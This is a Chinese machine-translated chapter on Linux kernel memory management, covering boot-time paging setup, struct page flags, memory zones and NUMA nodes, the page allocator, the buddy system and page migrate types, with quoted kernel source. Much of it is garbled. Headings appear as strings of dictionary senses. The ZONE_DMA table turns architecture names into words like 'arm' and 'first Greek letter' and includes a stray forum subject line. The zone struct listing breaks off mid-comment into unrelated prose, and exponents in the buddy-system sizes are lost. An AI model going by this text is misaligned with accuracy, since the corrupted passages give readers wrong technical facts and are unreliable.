是为具有**保护模式**的系统设计和实现的,它需要**虚拟寻址**来启用进程保护和隔离,这是内核提供的一个重要抽象(回想一下[第 1 章](01.html#J2B80-7300e3ede2f245b0b80e1b18d02a323f)、*理解进程、地址空间和线程*)。 这要求处理器在内核启动并开始引导操作和子系统初始化之前切换到保护模式并打开虚拟地址支持。 切换到保护模式需要在启用*分页*的过程中通过设置适当的核心数据结构来初始化 MMU 芯片组。 这些操作是特定于体系结构的,并在内核源代码树的*ARCH*分支中实现。 在内核构建期间,这些源代码被编译并作为头文件链接到保护模式内核映像;这个头文件称为**内核引导程序**或**实模式内核**。 - -![](img/00019.jpeg) - -下面是 x86 体系结构的引导程序的`main()`例程;该函数在实模式下执行,负责在步入保护模式之前通过调用`go_to_protected_mode()`来分配适当的资源: - -```sh -/* arch/x86/boot/main.c */ -void main(void) -{ - /* First, copy the boot header into the "zeropage" */ - copy_boot_params(); - - /* Initialize the early-boot console */ - console_init(); - if (cmdline_find_option_bool("debug")) - puts("early console in setup coden"); - - /* End of heap check */ - init_heap(); - - /* Make sure we have all the proper CPU support */ - if (validate_cpu()) { - puts("Unable to boot - please use a kernel appropriate " - "for your CPU.n"); - die(); - } - - /* Tell the BIOS what CPU mode we intend to run in. */ - set_bios_mode(); - - /* Detect memory layout */ - detect_memory(); - - /* Set keyboard repeat rate (why?) and query the lock flags */ - keyboard_init(); - - /* Query Intel SpeedStep (IST) information */ - query_ist(); - - /* Query APM information */ -#if defined(CONFIG_APM) || defined(CONFIG_APM_MODULE) - query_apm_bios(); -#endif - - /* Query EDD information */ -#if defined(CONFIG_EDD) || defined(CONFIG_EDD_MODULE) - query_edd(); -#endif - - /* Set the video mode */ - set_video(); - - /* Do the last things and invoke protected mode */ - go_to_protected_mode(); -} -``` - -为设置 MMU 和处理到保护模式的转换而调用的实模式内核例程是特定于体系结构的(我们在这里不会涉及这些例程)。 无论使用哪种特定于体系结构的代码,主要目标都是通过打开**分页**来启用对**虚拟寻址**的支持。 启用分页后,系统开始将物理内存(RAM)视为一组固定大小的块,称为页帧。 通过对 MMU 的分页单元进行适当编程来配置页框的大小;大多数 MMU 支持 4k、8k、16k、64k 至 4MB 的帧大小配置选项。 然而,大多数体系结构的 Linux 内核的默认构建配置选择 4k 作为其标准页帧大小。 - -# 页面描述符 - -**页帧**是可能的最小内存分配单位,内核需要利用它们来满足其所有内存需求。 将物理内存映射到用户模式进程的虚拟地址空间需要一些页帧,一些页帧用于内核代码及其数据结构,还有一些页帧用于处理进程或内核服务提出的动态分配请求。 为了有效地管理这些操作,内核需要区分当前在*使用*中的页帧和那些空闲和可用的页帧。 这一目的是通过称为`struct page`的独立于体系结构的数据结构来实现的,该结构被定义为保存与页帧有关的所有元数据,包括其当前状态。 为找到的每个物理页帧分配一个`struct page`实例,内核必须始终在主内存中维护一个页面实例列表。 - -**页面结构**是内核中使用最多的数据结构之一,它被各种内核代码路径引用。 该结构填充了各种元素,这些元素的相关性完全基于物理框架的状态。 例如,页面结构的特定成员指定是否将相应的物理页面映射到进程或一组进程的虚拟地址空间。 当物理页已保留用于动态分配时,这些字段被认为是无效的。 为了确保内存中的页面实例仅与相关字段一起分配,大量使用联合来填充成员字段。 这是一个谨慎的选择,因为它可以在不增加内存大小的情况下将更多信息塞进页面结构: - -```sh -/*include/linux/mm-types.h */ -/* The objects in struct page are organized in double word blocks in - * order to allows us to use atomic double word operations on portions - * of struct page. That is currently only used by slub but the arrangement - * allows the use of atomic double word operations on the flags/mapping - * and lru list pointers also. - */ -struct page { - /* First double word block */ - unsigned long flags; /* Atomic flags, some possibly updated asynchronously */ union { - struct address_space *mapping; - void *s_mem; /* slab first object */ - atomic_t compound_mapcount; /* first tail page */ - /* page_deferred_list().next -- second tail page */ - }; - .... - .... - -} -``` - -以下是对页面结构的重要成员的简要描述。 请注意,这里的许多细节都假设您熟悉内存子系统的其他方面,我们将在本章的后续部分讨论这些方面,例如内存分配器、页表等等。 我建议新读者在熟悉必要的前提条件后跳过这一节并重新阅读。 - -# 标出 / 悬旗于 / 标记 - -这是一个`unsigned long`位字段,它保存描述物理页状态的标志。 标志常量通过内核头`include/linux/page-flags.h`中的`enum`定义。 下表列出了重要的标志常量: - -| **标志** | **说明** | -| `PG_locked` | 用于指示页面是否锁定;此位在启动页面上的 I/O 操作时设置,并在完成时清除。 | -| `PG_error` | 用于指示错误页。 在页面上发生 I/O 错误时设置。 | -| `PG_referenced` | 设置为指示页缓存的页回收。 | -| `PG_uptodate` | 设置以指示从磁盘执行读取操作后页面是否有效。 | -| `PG_dirty` | 当文件备份页被修改并且与其磁盘映像不同步时设置。 | -| `PG_lru` | 用于指示设置了最近最少使用的位,这有助于处理页面回收。 | -| `PG_active` | 用于指示页面是否在活动列表中。 | -| `PG_slab` | 用于指示该页由片分配器管理。 | -| `PG_reserved` | 用于指示不可交换的保留页面。 | -| `PG_private` | 用于指示该页由文件系统用来保存其私有数据。 | -| `PG_writeback` | 在文件备份页上开始写回操作时设置 | -| `PG_head` | 用于指示复合页面的标题页。 | -| `PG_swapcache` | 用于指示页面是否在交换缓存中。 | -| `PG_mappedtodisk` | 用于指示页面映射到存储上的*块*。 | -| `PG_swapbacked` | 页面由交换支持。 | -| `PG_unevictable` | 用于指示页面在不可收回列表中;通常,此位是为 ramfs 和`SHM_LOCKed`共享内存页面拥有的页面设置的。 | -| `PG_mlocked` | 用于指示页面上启用了 VMA 锁定。 | - -对于`check`、`set`和`clear`个单独的页位,存在许多宏;这些操作保证为`atomic`,并在内核标题`/include/linux/page-flags.h`中声明。 它们被调用来操作来自各种内核代码路径的页面标志: - -```sh -/*Macros to create function definitions for page flags */ -#define TESTPAGEFLAG(uname, lname, policy) \ -static __always_inline int Page##uname(struct page *page) \ -{ return test_bit(PG_##lname, &policy(page, 0)->flags); } - -#define SETPAGEFLAG(uname, lname, policy) \ -static __always_inline void SetPage##uname(struct page *page) \ -{ set_bit(PG_##lname, &policy(page, 1)->flags); } - -#define CLEARPAGEFLAG(uname, lname, policy) \ -static __always_inline void ClearPage##uname(struct page *page) \ -{ clear_bit(PG_##lname, &policy(page, 1)->flags); } - -#define __SETPAGEFLAG(uname, lname, policy) \ -static __always_inline void __SetPage##uname(struct page *page) \ -{ __set_bit(PG_##lname, &policy(page, 1)->flags); } - -#define __CLEARPAGEFLAG(uname, lname, policy) \ -static __always_inline void __ClearPage##uname(struct page *page) \ -{ __clear_bit(PG_##lname, &policy(page, 1)->flags); } - -#define TESTSETFLAG(uname, lname, policy) \ -static __always_inline int TestSetPage##uname(struct page *page) \ -{ return test_and_set_bit(PG_##lname, &policy(page, 1)->flags); } - -#define TESTCLEARFLAG(uname, lname, policy) \ -static __always_inline int TestClearPage##uname(struct page *page) \ -{ return test_and_clear_bit(PG_##lname, &policy(page, 1)->flags); } - -*.... -....* -``` - -# 映射 / 映现 - -页面描述符的另一个重要元素是类型`struct address_space`的指针`*mapping`。 然而,*,*这是一个棘手的指针,它可能指向`struct address_space`的实例,也可能指向`struct anon_vma`的实例。 在我们详细介绍如何实现这一点之前,让我们先了解这些结构及其所代表的资源的重要性。 - -文件系统使用空闲页面(来自页面缓存)来缓存最近访问的磁盘文件的数据。 此机制有助于最大限度地减少磁盘 I/O 操作:当缓存中的文件数据被修改时,通过设置`PG_dirty`位将适当的页标记为脏;通过按策略间隔安排磁盘 I/O,所有脏页都被写入相应的磁盘块。 `struct address_space`是一个抽象概念,表示一组用于文件缓存的页面。 页面高速缓存的空闲页面也可以**映射**到进程或进程组以进行动态分配,为此类分配映射的页面称为**匿名**页面映射。 `struct anon_vma`的实例表示使用匿名页创建的内存块,这些匿名页映射到一个或多个进程的虚拟地址空间(通过 VMA 实例)。 - -使用指向任一数据结构的地址的指针的棘手动态初始化是通过位操作实现的。 如果指针`*mapping`的低位被清除,则表示页面被映射到`inode`,并且指针指向`struct address_space`。 如果设置了低位,则表示匿名映射,这意味着指针指向`struct anon_vma`的实例。 这是通过确保分配与`sizeof(long)`对齐的`address_space`实例来实现的,这使得指向`address_space`的指针的最低有效位被取消设置(即设置为 0)。 - -# 区域和节点 - -对于整个内存管理框架而言,基本的主要数据结构是**区域**和***节点***。 让我们熟悉一下这些数据结构背后的核心概念。 - -# 内存区 - -为了有效地管理内存分配,物理页面被组织成称为**区域的组。** 每个*区域*中的页面用于特定需求,如 DMA、高内存和其他常规分配需求。 内核头`mmzone.h`中的`enum`声明了*区域*常量: - -```sh -/* include/linux/mmzone.h */ -enum zone_type { -#ifdef CONFIG_ZONE_DMA -ZONE_DMA, -#endif -#ifdef CONFIG_ZONE_DMA32 - ZONE_DMA32, -#endif -#ifdef CONFIG_HIGHMEM - ZONE_HIGHMEM, -#endif - ZONE_MOVABLE, -#ifdef CONFIG_ZONE_DEVICE - ZONE_DEVICE, -#endif - __MAX_NR_ZONES -}; -``` - -`ZONE_DMA`: -此*区域*中的页面保留给无法在所有可寻址存储器上启动 DMA 的设备。 此*区域*的大小取决于体系结构: - -| 建筑艺术 / 建筑业 / 建筑风格 / 建筑学 | 界限 / 限制 / 范围 / 限度 | -| PARIC,ia64,SPARC | <4G | -| S390 | <2G | -| 手臂 / 像手臂的东西 / 部门 / 武器 | 易变的 / 可变的 / 方向不定的 / 变量的 | -| 希腊字母表中第一个字母 / 开端 | 无限制或小于 16MB | -| 帖子主题:Re:Колибри | <16MB | - -`ZONE_DMA32`:此*区*用于支持可在<4G 内存上执行 DMA 的 32 位设备。 此*区域*仅在 x86-64 平台上存在。 - -`ZONE_NORMAL`:所有可寻址内存都被认为是正常的*区*。 只要 DMA 设备支持所有可寻址存储器,就可以在这些页面上启动 DMA 操作。 - -`ZONE_HIGHMEM`:这个*区域*包含只有内核通过显式映射到其地址空间才能访问的页面;换句话说,内核段之外的所有物理内存页面都落入这个*区域*。 此*区域*仅适用于具有 3:1 虚拟地址分割的 32 位平台(3G 用于用户模式,1G 地址空间用于内核);例如,在 i386 上,允许内核寻址超过 900MB 的内存将需要为内核需要访问的每个页面设置特殊映射(页表条目)。 - -`ZONE_MOVABLE`:内存碎片是现代操作系统面临的挑战之一,Linux 也不例外。 从内核启动的那一刻起,在其整个运行时,都会为一组任务分配和释放页面,从而产生具有物理上连续页面的小内存区域。 考虑到 Linux 对虚拟寻址的支持,碎片可能不会成为各种进程顺利执行的障碍,因为物理上分散的内存总是可以通过页表映射到几乎连续的地址空间。 然而,也有一些场景,比如 DMA 分配和为内核数据结构设置缓存,这些场景对物理上连续的区域有着严格的需求。 - -多年来,内核开发人员一直在发展许多反碎片技术来缓解**碎片**。 引入`ZONE_MOVABLE`就是这些尝试之一。 这里的核心思想是跟踪每个*区域*中的*个可移动的*页面,并在这个伪*区域*下表示它们,这有助于防止碎片(我们将在伙伴系统的下一节中详细讨论这一点)。 - -此*区域*的大小将在引导时通过内核参数`kernelcore`之一进行配置;请注意,分配的值指定了认为*不可移动、*和其余的*可移动*的内存量。 一般来说,内存管理器被配置为考虑将页面从最高填充的*区域*迁移到`ZONE_MOVABLE`,对于 x86 32 位计算机,可能是`ZONE_HIGHMEM`,对于 x86_64,可能是`ZONE_DMA32`。 - -`ZONE_DEVICE`:此*区域*已划分为支持热插拔内存,如大容量*永久内存阵列*。 **永久存储器**在许多方面与 DRAM 非常相似;具体地说,CPU 可以直接在字节级别对它们进行寻址。 但是,持久性、性能(写入速度较慢)和大小(通常以 TB 为单位)等特征将它们与普通内存区分开来。 要让内核支持这样的 4KB 页面大小的内存,它需要枚举数十亿个页面结构,这将占用相当大百分比的主内存,或者根本不适合。 因此,内核开发人员选择将持久内存视为**设备**,而不是类似于**内存**;这意味着内核可以依靠适当的**驱动程序**来管理此类内存。 - -```sh -void *devm_memremap_pages(struct device *dev, struct resource *res, - struct percpu_ref *ref, struct vmem_altmap *altmap); -``` - -永久内存驱动程序的`devm_memremap_pages()`例程将永久内存区域映射到内核的地址空间,并在永久设备内存中设置相关的页面结构。 这些映射下的所有页面都分组在`ZONE_DEVICE`下。 具有不同的*区*来标记这些页允许存储器管理器将它们与常规的统一存储器页区分开来。 - -# 内存节点 - -Linux 内核在很长一段时间内都是为了支持多处理器机器体系结构而实现的。 内核实现各种资源,如每 CPU 数据缓存、互斥锁和原子操作宏,这些资源可跨各种 SMP 感知子系统(如进程调度器和设备管理等)使用。 特别是,内存管理子系统的角色对于内核在这样的架构上运行是至关重要的,因为它需要按照每个处理器的观点来虚拟化内存。 根据每个处理器的感知和对系统上内存的访问延迟,多处理器机器架构大致分为两类。 - -**统一内存访问架构(Uniform Memory Access Architecture,UMA):**这些是多处理器架构机器,处理器通过互连连接在一起,并共享物理内存和 I/O 端口。 由于内存访问延迟,它们被命名为 UMA 系统,无论它们是从哪个处理器启动的,该延迟都是统一和固定的。 大多数对称多处理器系统都是 UMA。 - -**非统一内存访问体系结构(Non-Uniform Memory Access Architecture,NUMA):**这些多处理器机器的设计与 UMA**形成了鲜明对比。** 这些系统为每个具有固定时间访问延迟的处理器设计了专用内存。 然而,处理器可以通过适当的互连来启动对其他处理器的本地存储器的访问操作,并且这种操作呈现可变的时间访问等待时间。 -由于每个处理器的系统内存视图不一致(不连续),此型号的机器被适当地命名为**NUMA**: - -**![](img/00020.jpeg)** - -为了扩展对 NUMA 机器的支持,内核将每个非统一内存分区(本地内存)视为`node`。 每个节点由描述符`type pg_data_t`标识,根据前面讨论的分区策略,该描述符引用该节点下的页面。 每个*区域*通过`struct zone`的实例表示。 UMA 机器将包含一个节点描述符,在该描述符下表示整个存储器,并且在 NUMA 机器上,枚举节点描述符列表,每个节点描述符表示一个连续的存储器节点。 下图说明了这些数据结构之间的关系: - -![](img/00021.jpeg) - -接下来我们将介绍*节点*和*区域*描述符数据结构定义。 请注意,我们不打算描述这些结构的每个元素,因为它们与内存管理的各个方面相关,这些方面超出了本章的范围。 - -# 节点描述符结构 - -节点描述符结构`pg_data_t`在内核标头`mmzone.h`中声明: - -```sh -/* include/linux/mmzone.h */typedef struct pglist_data { - struct zone node_zones[MAX_NR_ZONES]; - struct zonelist node_zonelists[MAX_ZONELISTS]; - int nr_zones; - -#ifdef CONFIG_FLAT_NODE_MEM_MAP /* means !SPARSEMEM */ - struct page *node_mem_map; -#ifdef CONFIG_PAGE_EXTENSION - struct page_ext *node_page_ext; -#endif -#endif - -#ifndef CONFIG_NO_BOOTMEM - struct bootmem_data *bdata; -#endif -#ifdef CONFIG_MEMORY_HOTPLUG - spinlock_t node_size_lock; -#endif - unsigned long node_start_pfn; - unsigned long node_present_pages; /* total number of physical pages */ - unsigned long node_spanned_pages; - int node_id; - wait_queue_head_t kswapd_wait; - wait_queue_head_t pfmemalloc_wait; - struct task_struct *kswapd; - int kswapd_order; - enum zone_type kswapd_classzone_idx; - -#ifdef CONFIG_COMPACTION - int kcompactd_max_order; - enum zone_type kcompactd_classzone_idx; - wait_queue_head_t kcompactd_wait; - struct task_struct *kcompactd; -#endif -#ifdef CONFIG_NUMA_BALANCING - spinlock_t numabalancing_migrate_lock; - unsigned long numabalancing_migrate_next_window; - unsigned long numabalancing_migrate_nr_pages; -#endif - unsigned long totalreserve_pages; - -#ifdef CONFIG_NUMA - unsigned long min_unmapped_pages; - unsigned long min_slab_pages; -#endif /* CONFIG_NUMA */ - - ZONE_PADDING(_pad1_) - spinlock_t lru_lock; - -#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT - unsigned long first_deferred_pfn; -#endif /* CONFIG_DEFERRED_STRUCT_PAGE_INIT */ - -#ifdef CONFIG_TRANSPARENT_HUGEPAGE - spinlock_t split_queue_lock; - struct list_head split_queue; - unsigned long split_queue_len; -#endif - unsigned int inactive_ratio; - unsigned long flags; - - ZONE_PADDING(_pad2_) - struct per_cpu_nodestat __percpu *per_cpu_nodestats; - atomic_long_t vm_stat[NR_VM_NODE_STAT_ITEMS]; -} pg_data_t; -``` - -根据所选的机器和内核配置的类型,各种元素都会编译到此结构中。 我们将介绍几个重要的元素: - -| 菲尔德 (人名) | 描述 / 描写 / 形容 / 类别 | -| `node_zones` | 保存此节点中页面的*区域*实例的数组。 | -| `node_zonelists` | 指定节点中区域的首选分配顺序的数组。 | -| `nr_zones` | 当前节点中的区域计数。 | -| `node_mem_map` | 指向当前节点中的页面描述符列表的指针。 | -| `bdata` | 指向引导内存描述符的指针(在后面部分讨论) | -| `node_start_pfn` | 保存此节点中第一个物理页面的帧号;对于 UMA 系统,此值为*零*。 | -| `node_present_pages` | 节点中的总页数 | -| `node_spanned_pages` | 物理页面范围的总大小,包括洞(如果有)。 | -| `node_id` | 保存唯一节点标识符(节点从零开始编号) | -| `kswapd_wait` | `kswapd`个内核线程的等待队列 | -| `kswapd` | 指向`kswapd`内核线程的任务结构的指针 | -| `totalreserve_pages` | 未用于用户空间分配的保留页数 | - -# 区域描述符结构 - -`mmzone.h`报头还声明了`struct zone`,它充当*区域*描述符。 下面是结构定义的代码片段,注释很好。 接下来,我们将描述几个重要的领域: - -```sh -struct zone { - /* Read-mostly fields */ - - /* zone watermarks, access with *_wmark_pages(zone) macros */ - unsigned long watermark[NR_WMARK]; - - unsigned long nr_reserved_highatomic; - - /* - * We don't know if the memory that we're going to allocate will be - * freeable or/and it will be released eventually, so to avoid totally - * wasting several GB of ram we must reserve some of the lower zone - * memory (otherwise we risk to run OOM on the lower zones despite - * there being tons of freeable ram on the higher zones). This array is - * recalculated at runtime if the sysctl_lowmem_reserve_ratio sysctl - * changes. - */ - long lowmem_reserve[MAX_NR_ZONES]; - -#ifdef CONFIG_NUMA - int node; -#endif - struct pglist_data *zone_pgdat; - struct per_cpu_pageset __percpu *pageset; - -#ifndef CONFIG_SPARSEMEM - /* - * Flags for a pageblock_nr_pages block. See pageblock-flags.h. - * In SPARSEMEM, this map is stored in struct mem_section - */ - unsigned long *pageblock_flags; -#endif /* CONFIG_SPARSEMEM */ - - /* zone_start_pfn == zone_start_paddr >> PAGE_SHIFT */ - unsigned long zone_start_pfn; - - /* - * spanned_pages is the total pages spanned by the zone, including - * holes, which is calculated as: - * spanned_pages = zone_end_pfn - zone_start_pfn; - * - * present_pages is physical pages existing within the zone, which - * is calculated as: - * present_pages = spanned_pages - absent_pages(pages in holes); - * - * managed_pages is present pages managed by the buddy system, which - * is calculated as (reserved_pages includes pages allocated by the - * bootmem allocator): - * managed_pages = present_pages - reserved_pages; - * - * So present_pages may be used by memory hotplug or memory power - * management logic to figure out unmanaged pages by checking - * (present_pages - managed_pages). And managed_pages should be used - * by page allocator and vm scanner to calculate all kinds of watermarks - * and thresholds. - * - * Locking rules: - * - * zone_start_pfn and spanned_pages are protected by span_seqlock. - * It is a seqlock because it has to be read outside of zone->lock, - * and it is done in the main allocator path. But, it is written - * quite infrequently. - * - * The span_seq lock is declared along with zone->lock because it is - * frequently read in proximity to zone->lock. It's good to - * give them a chance of being in the same cacheline. - * - * Write access to present_pages at runtime should be protected by - * mem_hotplug_begin/end(). Any reader who can't tolerant drift of - * present_pages should get_online_mems() to get a stable value. - * - * Read access to managed_pages should be safe because it's unsigned - * long. Write access to zone->managed_pages and totalram_pages are - * protected by managed_page_count_lock at runtime. Idealy only - * adjust_managed_page_count() should be used instead of directly - * touching zone->managed_pages and totalram_pages. - */ - unsigned long managed_pages; - unsigned long spanned_pages; - unsigned long present_pages; - - const char *name;// name of this zone - -#ifdef CONFIG_MEMORY_ISOLATION - /* - * Number of isolated pageblock. It is used to solve incorrect - * freepage counting problem due to racy retrieving migratetype - * of pageblock. Protected by zone->lock. - */ - unsigned long nr_isolate_pageblock; -#endif - -#ifdef CONFIG_MEMORY_HOTPLUG - /* see spanned/present_pages for more description */ - seqlock_t span_seqlock; -#endif - - int initialized; - - /* Write-intensive fields used from the page allocator */ - ZONE_PADDING(_pad1_) - - /* free areas of different sizes */ -struct free_area free_area[MAX_ORDER]; - - /* zone flags, see below */ - unsigned long flags; - - /* Primarily protects free_area */ - spinlock_t lock; - - /* Write-intensive fields used by compaction and vmstats. */ - ZONE_PADDING(_pad2_) - - /* - * When free pages are below this point, additional steps are taken - * when reading the number of free pages to avoid per-CPU counter - * drift allowing watermarks to be breached - */ - unsigned long percpu_drift_mark; - -#if defined CONFIG_COMPACTION || defined CONFIG_CMA - /* pfn where compaction free scanner should start */ - unsigned long compact_cached_free_pfn; - /* pfn where async and sync compaction migration scanner should start */ - unsigned long compact_cached_migrate_pfn[2]; -#endif - -#ifdef CONFIG_COMPACTION - /* - * On compaction failure, 1<阶。 如果成功,则返回第一个页面结构的地址;如果失败,则返回 NULL。 对于单页分配,将提供一个备用宏,该宏再次依赖于`alloc_pages()`: - -```sh -#define alloc_page(gfp_mask) alloc_pages(gfp_mask, 0); -``` - -分配的页通过适当的页表条目(用于访问操作期间的分页地址转换)映射到连续的内核地址空间。 在页表映射之后生成的用于内核代码的地址称为**线性地址**。 通过另一个函数接口`page_address()`,调用程序代码可以检索分配的块的起始线性地址。 - -也可以通过一组**包装器**例程和到`alloc_pages()`的宏来启动分配,这些例程和宏略微扩展了功能,并返回所分配块的起始线性地址,而不是指向页面结构的指针。 下面的代码片段显示了包装函数和宏的列表: - -```sh -/* allocates 2order pages and returns start linear address */ unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order) -{ -struct page *page; -/* -* __get_free_pages() returns a 32-bit address, which cannot represent -* a highmem page -*/ -VM_BUG_ON((gfp_mask & __GFP_HIGHMEM) != 0); - -page = alloc_pages(gfp_mask, order); -if (!page) -return 0; -return (unsigned long) page_address(page); -} - -/* Returns start linear address to zero initialized page */ -unsigned long get_zeroed_page(gfp_t gfp_mask) -{ -return __get_free_pages(gfp_mask | __GFP_ZERO, 0); -} - /* Allocates a page */ -#define __get_free_page(gfp_mask) \ -__get_free_pages((gfp_mask), 0) - -/* Allocate page/pages from DMA zone */ -#define __get_dma_pages(gfp_mask, order) \ - __get_free_pages((gfp_mask) | GFP_DMA, (order)) - -``` - -以下是将内存释放回系统的接口。 我们需要调用与分配例程匹配的适当地址;传递错误的地址将导致损坏: - -```sh -void __free_pages(struct page *page, unsigned int order); -void free_pages(unsigned long addr, unsigned int order); -void free_page(addr); -``` - -# 搭伴制 - -页面分配器充当内存分配的接口(页面大小的倍数),而伙伴系统在后端操作以管理物理页面管理。 此算法管理每个*区域*的所有物理页。 它经过优化,通过最大限度地减少外部碎片*来完成大型物理连续块(页)的分配。* 让我们探索一下它的操作细节*。* - -*区域*描述符结构包含一个由*`struct free_area`,*组成的数组,数组的大小通过内核宏`MAX_ORDER`定义,其默认值为`11`: - -```sh - struct zone { - ... - ... - struct free_area[MAX_ORDER]; - ... - ... - }; -``` - -每个偏移量都包含`free_area`结构的一个实例。 所有空闲页被分成 11 个(`MAX_ORDER`)列表,每个列表包含 2页的块列表,顺序值在 0 到 11 的范围内(即,22的列表将包含 16KB 大小的块,23将包含 32KB 大小的块,依此类推)。 此策略可确保每个块自然对齐。 每个列表中的块的大小正好是较低列表中的块大小的两倍,从而导致更快的分配和释放操作。 它还为分配器提供了处理连续分配的能力,最大块大小为 8MB(211列表): - -![](img/00023.jpeg) - -当提出特定大小的分配请求时,*伙伴系统*查找空闲块的适当列表,并返回其地址(如果可用)。 但是,如果它找不到空闲块,它会移动到下一个较大块的高位列表中签入,如果可用,它会将高位块拆分成称为*伙伴*的相等部分,为分配器返回 1,然后将第二个块排队到低位列表中。 当两个伙伴块在未来某个时间空闲时,它们将合并以创建一个更大的块。 算法可以通过对齐的地址识别伙伴块,这使得合并它们成为可能。 - -让我们考虑一个例子来更好地理解这一点,假设有一个分配 8k 块的请求(通过页面分配器例程)。 伙伴系统在`free_pages`数组的 8k 列表中查找空闲块(第一个偏移量包含 2 个1大小的块),并返回该块的起始线性地址(如果可用);但是,如果 8k 列表中没有空闲块,它将移动到下一个更高阶列表,该列表包含 16k 个块(`free_pages`数组的第二个偏移量),以找到空闲块。 让我们进一步假设该列表中也没有空闲块。 然后,它前进到下一个大小为 32k 的高阶列表(*free_pages*数组中的第三个偏移量)以查找空闲块;如果可用,它会将 32k 块拆分为两个相等的部分,每个部分为 16k(*好友*)。 第一个 16k 块被进一步分割成两个 8k 的部分(*个伙伴*),其中一个分配给调用者,另一个放入 8k 列表中。 16k 的第二个块被放入 16k 空闲列表中,当较低阶(8k)的伙伴在未来某个时间变得空闲时,它们被合并以形成较高阶的 16k 块。 当两个 16k 伙伴都空闲时,它们再次合并到 32k 块,该块被放回到空闲列表中。 - -当无法处理来自期望的*区域*的分配请求时,伙伴系统使用后备机制来查找其他区域和节点: - -![](img/00024.jpeg) - -*伙伴系统有着悠久的历史,通过适当的优化在各种*nix 操作系统上广泛实施。 如前所述,它有助于更快地分配和释放内存,并且在一定程度上还可以最大程度地减少外部碎片。 随着提供急需的性能优势的*巨型页面*的出现,进一步努力反碎片变得更加重要。 为了实现这一点,Linux 内核的伙伴系统实现通过页面迁移配备了防碎片能力。* - - ***页面迁移**是*将虚拟页面的*数据从一个物理存储区域移动到另一个物理存储区域的处理。 此机制有助于创建具有连续页面的较大块。 为了实现这一点,将页面分类为以下类型: - -**1.不可移动页面**:固定并为特定分配保留的物理页面被认为是不可移动的。 为核心内核固定的页面就属于这一类。 这些页面是不可回收的。 - -**2.可回收页**:映射到动态分配的物理页可以被逐出到后备库,而那些可以重新生成的页被认为是*可回收页*。 用于文件缓存的页面、匿名页面映射以及由内核的板片缓存保存的页面都属于这一类。 回收操作有两种模式:定期回收和直接回收,前者通过名为*`kswapd`的 k 线程实现。* 当系统运行时内存过少时,内核进入*直接回收。* - -**3.可移动页面:**可通过页面迁移机制将*移动到*不同区域的物理页面。 映射到用户模式*进程*的虚拟地址空间的页面被认为是可移动的,因为 VM 子系统需要做的全部工作就是复制数据和更改相关的页面表项。 考虑到来自用户模式*进程*的所有访问操作都经过页表转换,这是可行的。 - -伙伴系统基于*可移动性*将页面分组为独立列表,并使用它们进行适当的分配。 这是通过基于页面移动性将`struct free_area`中的每个 2n列表组织为一组自治列表来实现的。 每个`free_area`实例包含一个大小为`MIGRATE_TYPES`的列表数组。 每个偏移量保存各自页组的`list_head`: - -```sh - struct free_area { - struct list_head free_list[MIGRATE_TYPES]; - unsigned long nr_free; - }; -``` - -`nr_free`是一个计数器,它保存此`free_area`的空闲页面总数(将所有迁移列表放在一起)。 下图描述了每种迁移类型的空闲列表: - -![](img/00025.jpeg) - -以下枚举定义了页面迁移类型: - -```sh -enum { - MIGRATE_UNMOVABLE, - MIGRATE_MOVABLE, - MIGRATE_RECLAIMABLE, - MIGRATE_PCPTYPES, /* the number of types on the pcp lists */ - MIGRATE_HIGHATOMIC = MIGRATE_PCPTYPES, -#ifdef CONFIG_CMA - MIGRATE_CMA, -#endif -#ifdef CONFIG_MEMORY_ISOLATION - MIGRATE_ISOLATE, /* can't allocate from here */ -#endif - MIGRATE_TYPES -}; -``` - -我们已经讨论了关键迁移类型`MIGRATE_MOVABLE`、`MIGRATE_UNMOVABLE`和`MIGRATE_RECLAIMABLE`类型。 `MIGRATE_PCPTYPES`是为提高系统性能而引入的一种特殊类型;每个*区域*在每个 CPU 页面缓存中维护一个缓存热页面列表。 这些页面用于服务本地 CPU 提出的分配请求。 *zone*描述符结构`pageset`元素指向每个 CPU 缓存中的页面: - -```sh -/* include/linux/mmzone.h */ - -struct per_cpu_pages { - int count; /* number of pages in the list */ - int high; /* high watermark, emptying needed */ - int batch; /* chunk size for buddy add/remove */ - - /* Lists of pages, one per migrate type stored on the pcp-lists */ - struct list_head lists[MIGRATE_PCPTYPES]; -}; - -struct per_cpu_pageset { - struct per_cpu_pages pcp; -#ifdef CONFIG_NUMA - s8 expire; -#endif -#ifdef CONFIG_SMP - s8 stat_threshold; - s8 vm_stat_diff[NR_VM_ZONE_STAT_ITEMS]; -#endif -}; - -struct zone { - ... - ... - struct per_cpu_pageset __percpu *pageset; - ... - ... -}; -``` - -`struct per_cpu_pageset`是表示*不可移动*、*可回收*和*可移动*页面列表的抽象。 `MIGRATE_PCPTYPES`是按页*移动性排序的每个 CPU 页列表的计数。* `MIGRATE_CMA`是连续内存分配器的页面列表,我们将在后续章节中讨论: - -**![](img/00026.jpeg)** - -伙伴系统被实现为在备选列表上*后退*,以在所需移动性的页面不可用时处理分配请求。 以下数组定义了各种迁移类型的回退顺序;我们将不再详细说明,因为这是不言而喻的: - -```sh -static int fallbacks[MIGRATE_TYPES][4] = { - [MIGRATE_UNMOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_MOVABLE, MIGRATE_TYPES }, - [MIGRATE_RECLAIMABLE] = { MIGRATE_UNMOVABLE, MIGRATE_MOVABLE, MIGRATE_TYPES }, - [MIGRATE_MOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_UNMOVABLE, MIGRATE_TYPES }, -#ifdef CONFIG_CMA - [MIGRATE_CMA] = { MIGRATE_TYPES }, /* Never used */ -#endif -#ifdef CONFIG_MEMORY_ISOLATION - [MIGRATE_ISOLATE] = { MIGRATE_TYPES }, /* Never used */ -#endif -}; -``` - -# GFP 掩模 - -页面分配器和其他分配器例程(我们将在以下各节中讨论)需要`gfp_mask`标志作为参数,其类型为`gfp_t`: - -```sh -typedef unsigned __bitwise__ gfp_t; -``` - -GFP 标志用于为分配器函数提供两个重要属性:第一个是分配的**模式**,它控制分配器函数*、*的行为;第二个是分配的*源*,它指示可以从中获取内存的*区*或*区*的列表*。* 内核标题`gfp.h`定义了各种标记常量,这些标记常量被分类为不同的组,称为**区域修改符、移动性和****放置标记、水印修改符、回收修改符、**和**动作修改符。** - -# 分区修改器 - -以下是用于指定内存来源的*区域*的修饰符的汇总列表。 回想一下我们在前一节中关于*区域*的讨论;对于每个区域,都定义了一个`gfp`标志: - -```sh -#define __GFP_DMA ((__force gfp_t)___GFP_DMA) -#define __GFP_HIGHMEM ((__force 